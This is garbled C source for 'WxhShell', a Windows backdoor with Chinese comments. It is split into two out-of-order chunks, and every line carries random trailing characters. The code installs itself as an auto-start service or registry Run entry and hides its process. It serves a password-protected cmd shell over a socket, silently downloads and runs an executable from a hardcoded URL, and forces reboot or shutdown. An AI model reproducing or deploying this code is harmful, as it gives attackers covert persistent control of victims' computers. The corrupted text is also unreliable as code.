    if(Boot(SHUTDOWN)) 7 \[fjCg\w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s~bi#U;dF  
    else { AJE$Z0{q  
    closesocket(wsh); OZd (~E  
    ExitThread(0); ,I ][  
    } #ti%hm  
    break; 5pC}ZgEa<  
    } .gzfaxi  
  // 获取shell 8qaU[u&$  
  case 's': { 9_,f)2)~W  
    CmdShell(wsh); T ,jb%uPcE  
    closesocket(wsh); 6GPI gPL,  
    ExitThread(0); iK+Vla`}  
    break; 0xO*8aKT  
  } XogCq?_m  
  // 退出 6y1\ar(A  
  case 'x': { Sk1t~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (vX< B h  
    CloseIt(wsh); i;s;:{cn  
    break; U*E)y7MY  
    } Cl!(F 6K*  
  // 离开 {:#nrD"  
  case 'q': { D4{KU%Xp&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^]'_Qbi]}  
    closesocket(wsh); FpU8$o~r{  
    WSACleanup(); Kop(+]Q&n  
    exit(1); yjMN>L'  
    break; 3 u4Q!U%(D  
        } (Nk[ys}%*  
  } ; :q  
  } -W<1BJE  
z7gX@@T  
  // 提示信息 ;b~\ [  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CswKT 9  
} lw[c+F7  
  } **kix  
f7][#EL  
  return; 6}e*!,2Xj  
} kltW  
SY[3O  
// shell模块句柄 gGUKB2)  
int CmdShell(SOCKET sock) zxCx2.7  
{ Xa.8-a"hz  
STARTUPINFO si; z\A ),;  
ZeroMemory(&si,sizeof(si)); Z+J4 q9^$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5Gy#$'kdf  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kaB4[u  
PROCESS_INFORMATION ProcessInfo; A;RV~!xx  
char cmdline[]="cmd"; 9J?s:"j  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %dg[ho  
  return 0; e@anX^M;  
} t(-,mw  
o0f`/ 6o  
// 自身启动模式 ],S {?!'1  
int StartFromService(void) #Gg^QJ*  
{ ktx| c19  
typedef struct rf:H$\yw  
{ uW[[8+t|  
  DWORD ExitStatus;  ;tZQ9#S  
  DWORD PebBaseAddress; @x+2b0 b  
  DWORD AffinityMask; nWY^?e'S  
  DWORD BasePriority; $=N?[h&4  
  ULONG UniqueProcessId; B6k<#-HAT  
  ULONG InheritedFromUniqueProcessId; Pap6JR{7  
}   PROCESS_BASIC_INFORMATION; u"*DI=pwb  
W Eif&<Y  
PROCNTQSIP NtQueryInformationProcess; tLa%8@;'$  
9tPRQ M7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *Z_4bR4Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {#k[-\|;  
qE8aX*A1/  
  HANDLE             hProcess; [%N?D#;  
  PROCESS_BASIC_INFORMATION pbi; Gw$5<%sB  
%csrNf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Coe/4! $M  
  if(NULL == hInst ) return 0; Tgr,1) T  
Rt+-ud{O  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M lR~`B}m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hyf ;f7`o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?}4,s7PR  
")STB8kQ  
  if (!NtQueryInformationProcess) return 0; 3wq<@dRv4  
;x/eb g  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F. SB_S<'  
  if(!hProcess) return 0; z m$Sw0#(  
>9dD7FH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `IUn{I  
PVBz~rG  
  CloseHandle(hProcess); aY>v  
BA]$Fi.Mw  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lFyDH{!  
if(hProcess==NULL) return 0; \H@1VgmR;  
Zob/H+]  
HMODULE hMod; ]$[sfPKA  
char procName[255]; F`QViZ'n>#  
unsigned long cbNeeded; K8sRan[4}  
Ey|_e3Lf[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <Kv$3y  
4?'vP'  
  CloseHandle(hProcess); Ww2@!ng  
Z)#UCoK!c  
if(strstr(procName,"services")) return 1; // 以服务启动 (O5Yd 6u  
6(f 'P_*  
  return 0; // 注册表启动 pi?MAE*f  
} v\Uk?V5T  
;mG*Rad  
// 主模块 &xQM!f  
int StartWxhshell(LPSTR lpCmdLine)  mLxgvp  
{ >5t%_/yeB  
  SOCKET wsl; @owneSD qN  
BOOL val=TRUE; "%gsGtS  
  int port=0; l4oyF|oJTH  
  struct sockaddr_in door; pa[/6(  
MYWkEv7  
  if(wscfg.ws_autoins) Install(); {_O!mI*  
bP&QFc  
port=atoi(lpCmdLine); 8Y?M:^f~  
v _MQ]X  
if(port<=0) port=wscfg.ws_port; v 3I^81  
D0r viO  
  WSADATA data;  8s0+6{vW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *|fF;-#v  
T }}2J/sj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vwU1}H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KUAzJ[>  
  door.sin_family = AF_INET; lM6pYYEq=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); J?QS7#!%  
  door.sin_port = htons(port); @%]A,\  
+3)r szb72  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tJ\ $%  
closesocket(wsl); ysW})#7X  
return 1; {{?g%mQ6  
} lK0ny>RB  
r7m~.M+W"  
  if(listen(wsl,2) == INVALID_SOCKET) { &|/_"*uM  
closesocket(wsl); /T w{JO#Q  
return 1; :!%VSem  
} Y}:~6`-jj  
  Wxhshell(wsl); +1ICX  
  WSACleanup(); z0[XI7KK  
3e_tT8  
return 0; I\~[GsDY  
] G&*HMtp  
} m8q4t ,<J  
+[7~:e}DZ  
// 以NT服务方式启动 c|&3e84U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /eF@a!  
{ 6Y9N= \`  
DWORD   status = 0; &9L4 t%As  
  DWORD   specificError = 0xfffffff; `q^#u  
C= ~c`V5>r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; IiU> VLa  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; AUnfhk@$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (Xd8'-G$m  
  serviceStatus.dwWin32ExitCode     = 0; Eb8pM>'qM  
  serviceStatus.dwServiceSpecificExitCode = 0; nf.Ox.kM)  
  serviceStatus.dwCheckPoint       = 0; O=B =0  
  serviceStatus.dwWaitHint       = 0; Pe`(9&iT.  
77P\:xc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^q:-ZgM>  
  if (hServiceStatusHandle==0) return; "4N&T#  
I |Oco?Q"  
status = GetLastError(); <LHhs <M'  
  if (status!=NO_ERROR) n5:uG'L\  
{ 82r8K|L.<y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LOh2eZ"n  
    serviceStatus.dwCheckPoint       = 0; gjS|3ED  
    serviceStatus.dwWaitHint       = 0; 3JnpI,By  
    serviceStatus.dwWin32ExitCode     = status; _D '(R  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5 \mRH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); r/YJ,2!  
    return; V=O52?8  
  } Pvxb6\G&d  
A_xC@$1e<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O0  'iq^g  
  serviceStatus.dwCheckPoint       = 0; .wfydu)3  
  serviceStatus.dwWaitHint       = 0; @!8aZB3odt  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rB>ge]$.  
} x~5uc$  
-+R,="nRQ  
// 处理NT服务事件,比如:启动、停止 Fr9/TI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0SQ!lr  
{ AO#9XDEM  
switch(fdwControl) Obs#2>h  
{ cgnNO&  
case SERVICE_CONTROL_STOP: DI C*{aBf  
  serviceStatus.dwWin32ExitCode = 0; OVg&?fiP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +QChD*  
  serviceStatus.dwCheckPoint   = 0; U3(+8}Q  
  serviceStatus.dwWaitHint     = 0; &g`&#IRz  
  { BWt`l,nF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^Q/*on;A,/  
  } c6h?b[]  
  return; Myq8`/_  
case SERVICE_CONTROL_PAUSE: o Pe|Gfv\G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~?Zib1f)  
  break; s68(jYC7[  
case SERVICE_CONTROL_CONTINUE: HD j6E"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?cU,%<r  
  break; -3Kh >b)  
case SERVICE_CONTROL_INTERROGATE: NL2 1se  
  break; "Q?+T:D8|  
}; Knwy%5.Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SUS=sR/N  
} 6v`3/o  
D|uvgu2  
// 标准应用程序主函数 %rwvY`\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c_8&4  
{ }b_Ob  
8^7Oc,:~  
// 获取操作系统版本 #2tmi1 ya  
OsIsNt=GetOsVer(); f{BF%;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); v~$ V  
gV_v5sk  
  // 从命令行安装 SNj-h>&Mha  
  if(strpbrk(lpCmdLine,"iI")) Install(); Al>d 21U  
xyL"U*  
  // 下载执行文件 sJ6.3= c  
if(wscfg.ws_downexe) { t G_4>-Y#w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zdN[Uc+1Bd  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3?Pg ;  
} lM-9J?j  
rT2Njy1  
if(!OsIsNt) { =?5)M_6)  
// 如果时win9x,隐藏进程并且设置为注册表启动 s.J 4&2Q  
HideProc(); <4}m:  
StartWxhshell(lpCmdLine);  .NOAp  
} J0xHpe  
else O}M-6!%<,  
  if(StartFromService()) u\\t~<8  
  // 以服务方式启动 IeYYG^V<A  
  StartServiceCtrlDispatcher(DispatchTable); sz9W}&(j  
else $*q|}Tvl#  
  // 普通方式启动 dq 93P%X24  
  StartWxhshell(lpCmdLine); !"^Zr]Qt+\  
qTJhYxm  
return 0; D<WnPLA$g  
} v,w af`)J  
F0$w9p  
&8$v~  
)qy?x7   
=========================================== \jfK']P/H  
!se1W5ke#  
EI_-5TtRD  
%8*:VR  
,L ig6Z`  
u/=hueR<^  
" $d<NN2  
:>FN|fz  
#include <stdio.h> yqN`R\d  
#include <string.h> 8~Cmn%  
#include <windows.h> LG[N\%<!H  
#include <winsock2.h> f,G*e367:  
#include <winsvc.h> |]7c&`  
#include <urlmon.h> #^}H)>jWy  
"OLg2O^  
#pragma comment (lib, "Ws2_32.lib") Q y qOtRk  
#pragma comment (lib, "urlmon.lib") Y`g oV  
y3~`qq  
#define MAX_USER   100 // 最大客户端连接数 u W]gBhO$O  
#define BUF_SOCK   200 // sock buffer ~1O|4mssS  
#define KEY_BUFF   255 // 输入 buffer 8pnD6Lp>  
9pLe8D  
#define REBOOT     0   // 重启 p9"dm{  
#define SHUTDOWN   1   // 关机 JSL&` `  
$;^|]/-  
#define DEF_PORT   5000 // 监听端口 N<Sl88+U  
MG?,,8sO  
#define REG_LEN     16   // 注册表键长度 VhO+nvd*W  
#define SVC_LEN     80   // NT服务名长度 505c(+  
yrxX[Hg?@  
// 从dll定义API coXg]bUKo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G_+/ e]P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o;@~uU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i^DMnvV.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m7^f%<l  
J _rrc;F  
// wxhshell配置信息 JC cYFtW  
struct WSCFG { d88A.Z3w  
  int ws_port;         // 监听端口  \ ca<L  
  char ws_passstr[REG_LEN]; // 口令 eha|cAq  
  int ws_autoins;       // 安装标记, 1=yes 0=no w"{DLN[Qw  
  char ws_regname[REG_LEN]; // 注册表键名 a3 }V/MY  
  char ws_svcname[REG_LEN]; // 服务名 ]N 9N][n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /?;'y,(Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |R.yuSL)(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 UF-&L:s[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yksnsHs}d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UVux[qX<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 S%- kN;  
%SC Jmn2  
}; Jg$<2CR&  
O50_qu33ju  
// default Wxhshell configuration !7DDPJ~  
struct WSCFG wscfg={DEF_PORT, 0`"oR3JY  
    "xuhuanlingzhe", \Y!#Y#c  
    1, @ujwN([I  
    "Wxhshell", -J3~j kf  
    "Wxhshell", sJZ2e6?n  
            "WxhShell Service", *Z#OfB4}  
    "Wrsky Windows CmdShell Service", vv.E6D^x(  
    "Please Input Your Password: ", 6J>AU  
  1, U~D~C~\2;  
  "http://www.wrsky.com/wxhshell.exe", l qfTF  
  "Wxhshell.exe" <&m50pq  
    }; UN'n~d @~  
opH!sa@U  
// 消息定义模块 Xqw}O2QQ1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1 tOslP@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; pl).U#7`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wH?)ZL  
char *msg_ws_ext="\n\rExit."; l:'#pZ4T  
char *msg_ws_end="\n\rQuit."; :.5l  
char *msg_ws_boot="\n\rReboot..."; S OI=~BGd)  
char *msg_ws_poff="\n\rShutdown..."; Z5Lmg  
char *msg_ws_down="\n\rSave to "; F q~uuQ  
,!_6X9N-h  
char *msg_ws_err="\n\rErr!"; wF`Y ,@  
char *msg_ws_ok="\n\rOK!"; n5=U.r  
@Fc:9a@  
char ExeFile[MAX_PATH]; ;mEn@@{  
int nUser = 0; 2{?]W/&fS  
HANDLE handles[MAX_USER]; 8)>x)T  
int OsIsNt; wPM&N@Pf  
`rVru= zoy  
SERVICE_STATUS       serviceStatus; yMWh#[phH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k&ooV4#f6  
%rb$tKk  
// 函数声明 4`i8m  
int Install(void); 8;?4rrS  
int Uninstall(void); p=:Vpg<!  
int DownloadFile(char *sURL, SOCKET wsh); zx%WV@O9  
int Boot(int flag); e%cTFwX?n  
void HideProc(void); \'Ae,q|w  
int GetOsVer(void); sex\dg<  
int Wxhshell(SOCKET wsl); <-k!  
void TalkWithClient(void *cs); ES4Wtc)&  
int CmdShell(SOCKET sock); 0o+Yjg>\~8  
int StartFromService(void); CFh9@Nx  
int StartWxhshell(LPSTR lpCmdLine); :m<&Ff}  
5;}W=x^$a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }PJsPIa3j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 67iI wY*8'  
kY$EK]s  
// 数据结构和表定义 ]P3m=/w  
SERVICE_TABLE_ENTRY DispatchTable[] = r>fGj\#R =  
{ (|BY<Ac3  
{wscfg.ws_svcname, NTServiceMain}, Wu{=QjgY  
{NULL, NULL} T`!R ki%~  
}; wNHn.  
XX/gS=NE#.  
// 自我安装 WrGA7&!+  
int Install(void) 8)0]cX  
{ !vnC-&G  
  char svExeFile[MAX_PATH]; (j'\h/  
  HKEY key; ZwDL  
  strcpy(svExeFile,ExeFile); W q<t+E[  
lndz  
// 如果是win9x系统,修改注册表设为自启动 q2X::Yqk  
if(!OsIsNt) { P{9:XSa%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U:TkO=/>:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5 e+j51  
  RegCloseKey(key); `0NU c)`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kxhsDD$@p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^^V3nT2rR3  
  RegCloseKey(key); ]u5TvI,C  
  return 0; geR :FO;\  
    } M)ET 1ZM  
  } Rv&"h_"t  
} ;NA5G:eQ  
else { sYS 8]JU  
zgGysjV  
// 如果是NT以上系统,安装为系统服务 9F807G\4Qt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =v<w29P(g  
if (schSCManager!=0) WPRk>j  
{ q8$t4_pF  
  SC_HANDLE schService = CreateService "0!h- bQN  
  ( 9:{<:1?  
  schSCManager, t+KW=eW  
  wscfg.ws_svcname, iLnW5yy  
  wscfg.ws_svcdisp, ZhY{,sy?QO  
  SERVICE_ALL_ACCESS, L"'=[O~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @m5J%8>k  
  SERVICE_AUTO_START, 6 >)fNCe`  
  SERVICE_ERROR_NORMAL, Bb=r?;zjO  
  svExeFile, b;VIR,2  
  NULL, lW c[Q1  
  NULL, gg`{kN^r.a  
  NULL, \) dp  
  NULL, =wX;OK|U(^  
  NULL ;((t|  
  ); 0hoMf=bb$  
  if (schService!=0) qA '^b~  
  { %O9Wm_%  
  CloseServiceHandle(schService); 9\Gk)0  
  CloseServiceHandle(schSCManager); +~V_^-JG&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~a_hOKU5  
  strcat(svExeFile,wscfg.ws_svcname); 6{5T^^x?<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1vq2`lWpx  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fcdXj_u  
  RegCloseKey(key); IrZjlnht  
  return 0; "1gIR^S%9  
    } p^Ey6,!8]D  
  } Oey Ph9^V  
  CloseServiceHandle(schSCManager); <zqIq9}r  
} (.$$U3\  
} jlb8<xIC]  
WblH}  
return 1; x9F *$G  
} Y"t|0dO%b  
oPs asa  
// 自我卸载 fP<== DK  
int Uninstall(void) ,$!fyi[;C  
{ 7a_8007$l  
  HKEY key; s[7$%|~W  
pzRVX8  
if(!OsIsNt) { I0l3"5X a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Srw`vql{(  
  RegDeleteValue(key,wscfg.ws_regname); Gd C=>\]  
  RegCloseKey(key); M5*Ln-qt(a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kDJYEI9j>  
  RegDeleteValue(key,wscfg.ws_regname); I8i|tQz  
  RegCloseKey(key); @B0fRG y  
  return 0; }{:Jj/d p  
  } j(I(0Yyh  
} '\QJ{/JV  
} R[j'<gd.  
else { A]iT uu5p  
ug}u>vQ>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Eva&FHRTY  
if (schSCManager!=0) @[FO;4w  
{ wy|b Hkr_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O\q6T7bfRW  
  if (schService!=0) "uZ^zV`"  
  { >G1]#'6;  
  if(DeleteService(schService)!=0) { YO.ddy*59  
  CloseServiceHandle(schService); 7lYf+&JZ  
  CloseServiceHandle(schSCManager); , MqoX-+  
  return 0; 86KK Y2  
  } hH$9GL{H  
  CloseServiceHandle(schService); Z[ !kEW  
  } a"}ndrc*  
  CloseServiceHandle(schSCManager); GS>YfJ&DZ  
} @@3 NSKA  
} kN*I_#  
uCt?(E>  
return 1; 9h+T O_T@F  
} bWp)'mx5u  
Y x66Xy  
// 从指定url下载文件 eF0FQlMe[  
int DownloadFile(char *sURL, SOCKET wsh)  ^0{t  
{ |d\1xTBLp  
  HRESULT hr; 5l,Lp'k  
char seps[]= "/"; Q4Wz5n1yp7  
char *token; ( ?e Et&  
char *file; f\hQ>MLzt  
char myURL[MAX_PATH]; a$iDn_{  
char myFILE[MAX_PATH]; ]#S<]vA  
d=\TC'd"{  
strcpy(myURL,sURL); |A|K);  
  token=strtok(myURL,seps); giIPK&  
  while(token!=NULL) y9T 5  
  { DoBQ$Ke p  
    file=token; qs8^qn0A  
  token=strtok(NULL,seps); ;x FB /,  
  } S]}}r)  
]:n9MFv  
GetCurrentDirectory(MAX_PATH,myFILE); nXuy&;5TL,  
strcat(myFILE, "\\"); Rw63{b/  
strcat(myFILE, file); CCC9I8rZD  
  send(wsh,myFILE,strlen(myFILE),0); qm9=Ga5  
send(wsh,"...",3,0); '19?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); SEWdhthP  
  if(hr==S_OK) U.Z5;E0:  
return 0; GAs.?JHd  
else -`X`Ff  
return 1; g%)cyri  
"fN 6_*  
} VV[Fb9W ;  
6B b+f"  
// 系统电源模块 0a!|*Z  
int Boot(int flag) <jaQ 0S{|  
{ gL@]p  
  HANDLE hToken; 8"[{[<-   
  TOKEN_PRIVILEGES tkp; UsCaO<A  
4kK_S.&  
  if(OsIsNt) { zlkW-rRkR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J{5p4bkb  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); " w /Odd  
    tkp.PrivilegeCount = 1; s gZlk9x!Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =<TJ[,h et  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (BK_A {5  
if(flag==REBOOT) { Hh&qjf  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |v#rSVx  
  return 0; n0V^/j}  
} CLuQ=-[|  
else { `O%O[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JZ> (h  
  return 0; va"bw!zXo*  
} 3".#nN  
  } S`TQWWQo;  
  else { vr6YE;Rs  
if(flag==REBOOT) { L)9Z Op5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \0e`sOS`L  
  return 0; iMV=R2t 2  
} hdmKD0  
else { HHs!6`R$0c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) iG=Di)O  
  return 0; 4#t-?5"  
} {([`[7B>a<  
} 2^rJ|Ni  
^HE@ [b  
return 1; 5x,/p  
} i If?K%M7  
j^hLn >  
// win9x进程隐藏模块 T_9o0Qk  
void HideProc(void) vbG&F.P  
{ _~F 0i?  
Pl2eDv-y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -]n%+,3L  
  if ( hKernel != NULL ) %E [HMq<H  
  { $ 1m}lXk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <:8Ew  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); BP\6N%HC%&  
    FreeLibrary(hKernel); > +00[T  
  } Y; to9Kv$  
>Ml5QO$*.q  
return; 47f\  
} (S?DKPnR  
1i)3!fH0:  
// 获取操作系统版本 =4V SbOlZ  
int GetOsVer(void) H4sc7-  
{ M9Nr/jE  
  OSVERSIONINFO winfo; ~_g{P3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lJT"aXt'M  
  GetVersionEx(&winfo); |y+_BZ5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <~:2~r  
  return 1; "{Y6.)x  
  else o)R<sT  
  return 0; H/={RuU  
} Z a S29}  
VYt<j<ba  
// 客户端句柄模块 JZ&_1~Z=  
int Wxhshell(SOCKET wsl) aeAx0yE[p  
{ #l3)3k* ;  
  SOCKET wsh; Tf? `_jL  
  struct sockaddr_in client; !_B*Po  
  DWORD myID; -*Th=B-  
9QL%q; #  
  while(nUser<MAX_USER) Zs,6}m\  
{ WJ[>p ELT,  
  int nSize=sizeof(client); 4%I[.dBnM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1i'y0]f  
  if(wsh==INVALID_SOCKET) return 1; 1uB$@a\  
k,f/9e+#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nr,Z0  
if(handles[nUser]==0) ErQ6a%~,  
  closesocket(wsh); UP%6s:>:  
else "^;h'  
  nUser++; !ab ef.%:  
  } )} t't"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L' bY,D(J>  
;Me*# /  
  return 0; ;K%/s IIke  
} Q;A\M  
{t!7r_hj  
// 关闭 socket %/5Wj_|p  
void CloseIt(SOCKET wsh) _mwt{D2r}  
{ Vo6g /h?`  
closesocket(wsh); n\f]?B(  
nUser--;  ,CuWQ'H  
ExitThread(0); qPN9Put  
} PL3hrI 5  
Jyr V2Tk^  
// 客户端请求句柄 a ~W  
void TalkWithClient(void *cs) `u PLyS.  
{ 6]kBG?m0  
Kr `/sWZ  
  SOCKET wsh=(SOCKET)cs; ecR)8^1 '  
  char pwd[SVC_LEN]; ]^>:)q  
  char cmd[KEY_BUFF]; bS954d/  
char chr[1]; %\n|2*r  
int i,j; f fBd  
AQT_s9"0  
  while (nUser < MAX_USER) { 4l6 8+  
M}f(-,9  
if(wscfg.ws_passstr) { CjP<'0gT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sowwXrECg@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qMA-#  
  //ZeroMemory(pwd,KEY_BUFF); *f`P7q*  
      i=0; \g h |G  
  while(i<SVC_LEN) { _L$a[zH  
2CneRKQy  
  // 设置超时 i. (Af$  
  fd_set FdRead; 5b*knN>  
  struct timeval TimeOut; Zj'%c2U_  
  FD_ZERO(&FdRead); 0\X<vrW  
  FD_SET(wsh,&FdRead); h:r?:C>n  
  TimeOut.tv_sec=8; DuZZu  
  TimeOut.tv_usec=0; Q~VM.G  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /kg#i&bP~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u *rP 8GuS  
'[%#70*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ke?,AWfG  
  pwd=chr[0]; w^$C\bCbh  
  if(chr[0]==0xd || chr[0]==0xa) { +@?'dw  
  pwd=0; uLWu. Vx  
  break; .kn2M&P>=  
  } a#;;0R $  
  i++; #jW=K&;  
    } TjYHoL5  
y_=y%  
  // 如果是非法用户,关闭 socket 6$'*MpYF4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N&?V=X  
} 1gbFl/i6T  
!4'Fz[RK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v^8sL` F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UeLO`Ug0;  
QuPz'Ut#  
while(1) { /lu|FWbEw  
%Uz\P|6PO  
  ZeroMemory(cmd,KEY_BUFF); b/]4#?g  
[H>u'fy:C  
      // 自动支持客户端 telnet标准   3 ?I!  
  j=0; FiUwy/,ZV  
  while(j<KEY_BUFF) { !*NDsC9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /UK]lP^w]!  
  cmd[j]=chr[0]; C&MqH.K  
  if(chr[0]==0xa || chr[0]==0xd) { #?jsC)  
  cmd[j]=0; Z?!AJY  
  break; 3IlVSR^py  
  } ,aC}0t  
  j++; :T G;W,`.V  
    } c {%mi  
-OlrA{=c_  
  // 下载文件 10 *Tk 8  
  if(strstr(cmd,"http://")) { XGH:'^o_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); AJxN9[Z!N  
  if(DownloadFile(cmd,wsh)) }9fch9>Zr  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -bzlp7q*  
  else 5~@-LXqL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W/>a 1  
  } ['.])  
  else { 1ruI++P  
